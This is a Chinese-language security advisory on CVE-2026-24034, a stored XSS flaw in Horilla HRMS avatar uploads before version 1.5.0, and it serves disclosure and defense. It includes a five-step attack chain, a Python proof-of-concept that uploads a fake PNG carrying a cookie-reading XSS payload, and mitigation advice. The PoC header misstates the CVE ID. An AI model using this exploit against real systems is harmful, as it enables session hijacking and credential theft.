IPBUF安全漏洞报告
English
CVE-2026-24034 CVSS 5.4 中危

CVE-2026-24034 Horilla HRMS 头像上传跨站脚本漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24034
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Horilla HRMS

相关标签

XSS存储型XSS文件上传漏洞Horilla HRMSCVE-2026-24034身份认证绕过Web应用安全

漏洞概述

Horilla是一款免费开源的人力资源管理系统(HRMS)。在1.5.0之前的版本中,存在一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于profile photo(个人头像)更新功能中缺少对文件扩展名和Content-Type的验证。攻击者可以通过上传包含恶意JavaScript代码的图片文件(如将恶意代码嵌入到图片的EXIF元数据或文件名中),当其他用户查看攻击者的个人资料页面时,恶意脚本将在受害者浏览器中执行。这可能导致会话劫持、凭据窃取、钓鱼攻击或对用户进行进一步的社会工程攻击。由于该漏洞位于用户个人资料功能,攻击门槛较低,任何注册用户都可以尝试利用此漏洞。1.5.0版本已修复此问题,建议所有用户尽快升级。

技术细节

该漏洞属于存储型XSS(Stored XSS)漏洞,存在于Horilla HRMS的头像上传功能模块。在处理用户上传的头像文件时,系统未对文件扩展名和MIME类型进行严格的验证和过滤。攻击者可以上传一个伪装成图片文件的恶意文件,或者在图片文件的元数据中嵌入JavaScript代码。当文件被存储到服务器后,系统在展示用户头像时直接输出该文件内容或元数据,浏览器将其解析为HTML/JS执行。漏洞利用的关键步骤包括:1)构造包含XSS payload的文件;2)通过头像上传接口上传该文件;3)系统未进行MIME type验证即存储;4)当其他用户访问攻击者个人资料时,恶意脚本执行。修复方案应在文件上传时进行严格的文件类型检查、白名单验证,并对输出进行HTML编码。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Horilla HRMS系统,获取有效用户会话
STEP 2
步骤2
攻击者构造包含XSS payload的恶意文件(如将JavaScript代码写入图片文件)
STEP 3
步骤3
攻击者通过个人资料编辑功能上传恶意文件作为头像,系统未进行文件类型和内容验证即存储
STEP 4
步骤4
恶意文件被存储在服务器上,当其他用户或管理员访问攻击者个人资料页面时触发XSS
STEP 5
步骤5
攻击者通过XSS窃取用户会话Cookie、凭据或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-2026-24034 PoC - Horilla HRMS XSS via Profile Photo Upload # This PoC demonstrates uploading a malicious file as profile photo import requests import sys target_url = "http://target-host.com" # Replace with actual target login_url = f"{target_url}/accounts/login/" upload_url = f"{target_url}/profile/update/" # XSS payload embedded in a fake image file xss_payload = '<img src=x onerror=alert(document.cookie)>' # Malicious file content with XSS malicious_content = b'\x89PNG\r\n\x1a\n' + xss_payload.encode() session = requests.Session() def exploit(): # Step 1: Login to get authenticated session login_data = { 'username': 'attacker_user', # Replace with valid credentials 'password': 'attacker_pass' } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print("[-] Login failed") return False # Step 2: Upload malicious file as profile photo files = { 'profile_picture': ('malicious.png', malicious_content, 'image/png') } upload_response = session.post(upload_url, files=files, timeout=10) if upload_response.status_code == 200: print("[+] XSS payload uploaded successfully") print("[+] When victims view the attacker's profile, XSS will execute") return True else: print("[-] Upload failed") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit()

影响范围

Horilla HRMS < 1.5.0

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下措施:1)禁用头像上传功能或限制为管理员权限;2)在Web服务器层面限制上传目录的脚本执行权限;3)部署WAF规则过滤恶意文件上传请求;4)增加输出编码确保所有用户生成的内容在显示前进行HTML转义;5)监控和审计用户上传行为,及时发现异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表